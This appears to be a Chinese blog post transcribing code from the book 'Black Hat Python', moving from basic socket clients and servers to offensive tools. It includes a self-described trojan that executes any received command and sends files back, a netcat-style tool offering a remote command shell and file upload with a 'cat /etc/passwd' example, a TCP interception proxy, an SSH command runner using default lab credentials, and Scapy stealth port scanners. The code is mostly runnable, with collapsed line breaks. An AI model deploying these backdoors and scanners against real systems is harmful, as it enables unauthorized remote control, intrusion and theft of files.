《Python黑帽子:黑客与渗透测试编程之道》 网络基础

时间:2022-07-26 18:11:32

简单的网络通信

1.客户端:

# -*- coding: UTF-8 -*-

import socket
import sys #测试类
class Client:
def __init__(self,host):
self.host=host #待连接的远程主机的域名
def connet(self): #连接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print("Failed to create socket. Error: %s"%e)
sys.exit() #退出进程 def connet(self): #连接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print("Failed to create socket. Error: %s"%e)
sys.exit() #退出进程
try:
remote_ip = socket.gethostbyname(self.host)#根据域名获取ip
except socket.gaierror:
print('主机无法被解析')
sys.exit() #退出进程
try:
s.connect((remote_ip,80))#连接
message = b"GET / HTTP/1.1\r\n\r\n"
s.sendall(message)#发送数据
reply = s.recv(4096)#接收数据
print(reply)
s.close()#关闭连接
except socket.error:
sys.exit() #退出进程 if __name__ == '__main__':
cl = Client('www.baidu.com')
cl.connet()

2.服务端

# -*- coding: UTF-8 -*-

import socket
import sys class server:
def __init__(self,ip,port):
self.port=port
self.ip=ip
def start(self):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket
try:
s.bind((self.ip,self.port))#绑定
s.listen(10)#监听
print('等待客户端连接')
conn, addr = s.accept()#接收连接
print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
data = conn.recv(1024)#接收数据
print("客户端数据:%s"%data)
conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据
conn.close()#关闭连接 except socket.error as e:
print(e)
sys.exit()
finally:
s.close() #关闭服务端 if __name__ == '__main__':
s = server('',8800)
s.start()

TCP/客户端与服务端基础

TCP客户端:

#coding=utf-8
import socket target_host = "www.baidu.com"
target_port = 80 #建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #连接客户端
client.connect((target_host,target_port)) #发送一些数据
client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n") #接收一些数据
response = client.recv(4096) print response

TCP服务端:  这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。

#!/usr/bin/python
#coding=utf-8
import socket
import threading bind_ip = "0.0.0.0"
bind_port = 1234 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) server.listen(5) print '[*] Listening on %s:%d'%(bind_ip,bind_port) #客户处理线程
def handle_client(client_socket): #打印客户端发送得到的消息
request = client_socket.recv(1024) print "[*] Received: %s"%request #返回一个数据包
client_socket.send("ACK!") client_socket.close() while True: client, addr = server.accept() print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1]) #挂起客户端线程,处理传入数据
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()

TCP 实现一个简单的木马

TCP客户端代码

# -*- coding: UTF-8 -*-

import socket
import sys
import re
import os class Client:
def __init__(self,serverIp,serverPort):
self.serverIp=serverIp #待连接的远程主机的域名
self.serverPort = serverPort
self.bufferSize = 10240 def connet(self): #连接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print("Failed to create socket. Error: %s"%e) try:
s.connect((self.serverIp,self.serverPort))
while True:
message = input('> ')#接收用户输入
if not message:
break
s.send(bytes(message, 'utf-8'))#发送命令
data = s.recv(self.bufferSize)#接收数据
if not data:
break
if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型
print(data.decode('utf-8')[4:])
else:#文件内容处理
s.send("File size received".encode())#通知服务端可以发送文件了
file_total_size = int(data.decode())#总大小
received_size = 0
f = open("new" +os.path.split(message)[-1], "wb")#创建文件
while received_size < file_total_size:
data = s.recv(self.bufferSize)
f.write(data)#写文件
received_size += len(data)#累加接收长度
print("已接收:", received_size)
f.close()#关闭文件
print("receive done", file_total_size, " ", received_size)
except socket.error:
s.close()
raise #退出进程
finally:
s.close() if __name__ == '__main__':
cl = Client('127.0.0.1',8800)
cl.connet()
sys.exit() #退出进程

TCP服务端代码

# -*- coding: UTF-8 -*-

import socket
import sys
import os class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 10240 def start(self): # 启动监听,接收数据
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((self.ip, self.port)) # 绑定
s.listen(10) # 监听
print('等待客户端连接')
while True: # 一直等待新的连接
try:
conn, addr = s.accept() # 接收连接
print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
while True: # 不知道客户端发送数据大小,循环接收
data = conn.recv(self.bufferSize)
if not data:
break
else:
self.executeCommand(conn,data)
conn.close()
except socket.error as e:
print(e)
conn.close() # 关闭连接
finally:
s.close() # 关闭服务端 def executeCommand(self, tcpCliSock, data): # 解析并执行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):#判断是否是文件
filesize = str(os.path.getsize(message))#获取文件大小
print("文件大小为:",filesize)
tcpCliSock.send(filesize.encode())#发送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("开始发送")
f = open(message, "rb")#打开文件
for line in f:
tcpCliSock.send(line)#发送文件内容
else:
tcpCliSock.send((''+os.popen(message).read()).encode('utf-8'))
except:
raise
if __name__ == '__main__':
s = server('', 8800)
s.start()

取代netcat

#!/usr/bin/python
#coding=utf-8
import sys
import socket
import getopt
import threading
import subprocess #定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0 #使用帮助
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host - p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection"
print "-c --command - initialize a commandshell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print
print
print "Examples:"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0) def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try:
#连接到目标主机
client.connect((target,port)) if len(buffer):
client.send(buffer) while True: #现在等待数据回传
recv_len = 1
response = "" while recv_len: data = client.recv(4096)
recv_len = len(data)
response += data if recv_len < 4096:
break print response, #等待更多的输入
buffer = raw_input("")
buffer += "\n" #发送出去
client.send(buffer) except:
print "[*] Exception! Exiting. " #关闭连接
client.close() def server_loop():
global target #如果没有定义目标,那么我们监听所有的接口
if not len(target):
target = "0.0.0.0" server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port)) server.listen(5) while True:
client_socket, addr = server.accept() #分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start() def run_command(command): #换行
command = command.rstrip() #运行命令并将输出返回
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Failed to execute command. \r\n" #将输出发送
return output def client_handler(client_socket):
global upload
global execute
global command #检测上传文件
if len(upload_destination): #读取所有的字符并写下目标
file_buffer = "" #持续读取数据直到没有符合的数据 while True:
data = client_socket.recv(1024) if not data:
break
else:
file_buffer += data #现在我们接收这些数据并将他们写出来
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close() #确认文件已经写出来
client_socket.send("Successfully saved file to %s\r\n"%upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n"%upload_destination)
#检查命令执行
if len(execute): #运行命令
output = run_command(execute) client_socket.send(output) #如果需要一个命令行shell,那么我们进入另一个循环
if command: while True: #跳出一个窗口
client_socket.send("<BHP:#> ") #现在我们接收文件直到发现换行符(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024) #返还命令输出
response = run_command(cmd_buffer) #返回响应数据
client_socket.send(response) def main():
global listen
global port
global execute
global command
global upload_destination
global target if not len(sys.argv[1:]):
usage() #读取命令行选项
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print str(err)
usage() for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e","--execute"):
execute = a
elif o in ("-c","--commandshell"):
command = True
elif o in ("-u","--upload"):
upload_destination = a
elif o in ("-t","--target"):
target = a
elif o in ("-p","--port"):
port = int(a)
else:
assert False,"Unhandled Option" #我们是进行监听还是仅从标准输入发送数据?
if not listen and len(target) and port > 0 : #从命令行读取内存数据
#这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read() #发送数据
client_sender(buffer) #我们开始监听并准备上传文件、执行命令
#放置一个反弹shell
#取决于上面的命令行选项
if listen:
server_loop() main()

创建一个TCP代理

    #!/usr/bin/python
#coding=utf-8
import socket
import sys
import threading def server_loop(local_host,local_port,remote_host,remote_port,receive_first): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try:
server.bind((local_host,local_port))
except:
print "[!!] Failed to listen on %s:%d"%(local_host,local_port)
print "[!!] Check for other listening sockets or correct permissions. "
sys.exit(0) print "[*] Listening on %s:%d"%(local_host,local_port) server.listen(5) while True:
client_socket, addr = server.accept() # 打印出本地连接信息
print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1]) # 开启一个线程与远程主机通信
proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first)) proxy_thread.start() def proxy_handler(client_socket,remote_host,remote_port,receive_first): # 连接远程主机
remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port)) # 如果必要从远程主机接收数据
if receive_first: remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer) # 发送给我们的响应数据
remote_buffer = response_handler(remote_buffer) # 如果我们有数据传递给本地客户端,发送它
if len(remote_buffer):
print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)
client_socket.send(remote_buffer) # 现在我们从本地循环读取数据,发送给远程主机和本地主机
while True: # 从本地读取主机
local_buffer = receive_from(client_socket) if len(local_buffer): print "[==>] Received %d bytes from localhost. "%len(local_buffer)
hexdump(local_buffer) # 发送给我们的本地请求
local_buffer = request_handler(local_buffer) # 向远程主机发送数据
remote_socket.send(local_buffer)
print "[==>] Sent to remote ." # 接受响应的数据
remote_buffer = receive_from(remote_socket) if len(remote_buffer): print "[<==] Received %d bytes from remote . "%len(remote_buffer)
hexdump(remote_buffer) # 发送到响应处理函数
remote_buffer = response_handler(remote_buffer) # 将响应发送给本地socket
client_socket.send(remote_buffer) print "[<==] Sent to localhost. " # 如果两边都没有数据,关闭连接
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Closing cnnections. " break # 十六进制导出函数
def hexdump(src,length=16):
result = []
digits = 4 if isinstance(src,unicode) else 2 for i in xrange(0,len(src),length):
s = src[i:i+length]
hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append( b"%04X %-*s %s" % (i,length*(digits + 1),hexa,text)) print b'\n'.join(result) def receive_from(connection): buffer = "" # 我们设置了两秒的超时,这取决于目标的情况,可能需要调整
connection.settimeout(2) try:
# 持续从缓存中读取数据直到没有数据或超时
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass return buffer # 对目标是远程主机的请求进行修改
def request_handler(buffer):
# 执行包修改
return buffer # 对目标是本地主机的响应进行修改
def response_handler(buffer):
# 执行包修改
return buffer def main(): # 没有华丽的命令行解析
if len(sys.argv[1:]) != 5:
print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "
print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0) # 设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2]) # 设置远程目标
remote_host = sys.argv[3]
remote_port = int(sys.argv[4]) # 告诉代理在发送给远程主机之前连接和接收数据
receive_first = sys.argv[5] if "True" in receive_first:
receive_first = True
else:
receive_first = False # 现在设置好我们的监听socket
server_loop(local_host,local_port,remote_host,remote_port,receive_first) main()

通过Paramiko使用SSH

#!/usr/bin/python
import paramiko
import threading
import subprocess def ssh_command(ip,user,passwd,command):
client = paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip,username=user,password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(1024)
return ssh_command('10.10.10.128','msfadmin','msfadmin','uname -a')

其他扫描方式收藏

import argparse
from scapy.all import * #答疑端口状态
def print_ports(port, state):
print("%s | %s" % (port, state)) def tcpScan(target,ports):
print("tcp全连接扫描 %s with ports %s" % (target, ports))
for port in ports:
send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
if (send is None):
print_ports(port,"closed")
elif send.haslayer("TCP"):
print(send["TCP"].flags)
if send["TCP"].flags == "SA":
send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
print_ports(port,"opend")
elif send["TCP"].flags == "RA":
print_ports(port,"closed") def synScan(target,ports):
print("tcp SYN扫描 %s with ports %s" % (target, ports))
for port in ports:
send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
if (send is None):
print_ports(port,"closed")
elif send.haslayer("TCP"):
print(send["TCP"].flags)
if send["TCP"].flags == "SA":
send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里
print_ports(port,"opend")
elif send["TCP"].flags == "RA":
print_ports(port,"closed") def ackScan(target,ports):
print("tcp ack扫描 %s with ports %s" % (target, ports))
for port in ports:
ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5)
print(str(type(ack_flag_scan_resp)))
if (str(type(ack_flag_scan_resp))=="<class 'NoneType'>"):
print_ports(port,"filtered")
elif(ack_flag_scan_resp.haslayer(TCP)):
if(ack_flag_scan_resp.getlayer(TCP).flags == "R"):
print_ports(port,"unfiltered")
elif(ack_flag_scan_resp.haslayer(ICMP)):
if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
print_ports(port,"filtered")
else:
print_ports(port,"filtered") def windowScan(target,ports):
print("tcp window扫描 %s with ports %s" % (target, ports))
for port in ports:
window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5)
print(str(type(window_scan_resp)))
if (str(type(window_scan_resp))=="<class 'NoneType'>"):
print_ports(port,"close")
elif(window_scan_resp.haslayer(TCP)):
if(window_scan_resp.getlayer(TCP).window == 0):
print_ports(port,"close")
elif(window_scan_resp.getlayer(TCP).window > 0):
print_ports(port,"open")
else:
print_ports(port,"close") def nullScan(target,ports):
print("tcp NULL 扫描 %s with ports %s" % (target, ports))
for port in ports:
null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5)
if (str(type(null_scan_resp))=="<class 'NoneType'>"):
print_ports(port,"Open|Filtered")
elif(null_scan_resp.haslayer(TCP)):
if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"):
print_ports( port,"Closed")
elif(null_scan_resp.haslayer(ICMP)):
if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
print_ports(port, "Filtered") def finScan(target,ports):
print("tcp FIN 扫描 %s with ports %s" % (target, ports))
for port in ports:
fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5)
if (str(type(fin_scan_resp))=="<class 'NoneType'>"):
print_ports(port, "Open|Filtered")
elif(fin_scan_resp.haslayer(TCP)):
if(fin_scan_resp.getlayer(TCP).flags == 0x14):
print_ports(port, "Closed")
elif(fin_scan_resp.haslayer(ICMP)):
if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
print_ports(port, "Filtered") def xmaxScan(target,ports):
print("tcp xmax 扫描 %s with ports %s" % (target, ports))
for port in ports:
fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5)
if (str(type(fin_scan_resp))=="<class 'NoneType'>"):
print_ports(port, "Open|Filtered")
elif(fin_scan_resp.haslayer(TCP)):
if(fin_scan_resp.getlayer(TCP).flags == "R"):
print_ports(port, "Closed")
elif(fin_scan_resp.haslayer(ICMP)):
if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
print_ports(port, "Filtered") def udpScan(target,ports):
print("UDP 扫描 %s with ports %s" % (target, ports))
for port in ports:
udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5)
if (str(type(udp_scan_resp))=="<class 'NoneType'>"):
print_ports(port, "Open|Filtered")
elif(udp_scan_resp.haslayer(UDP)):
if(udp_scan_resp.getlayer(TCP).flags == "R"):
print_ports(port, "Open")
elif(udp_scan_resp.haslayer(ICMP)):
if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
print_ports(port, "Filtered")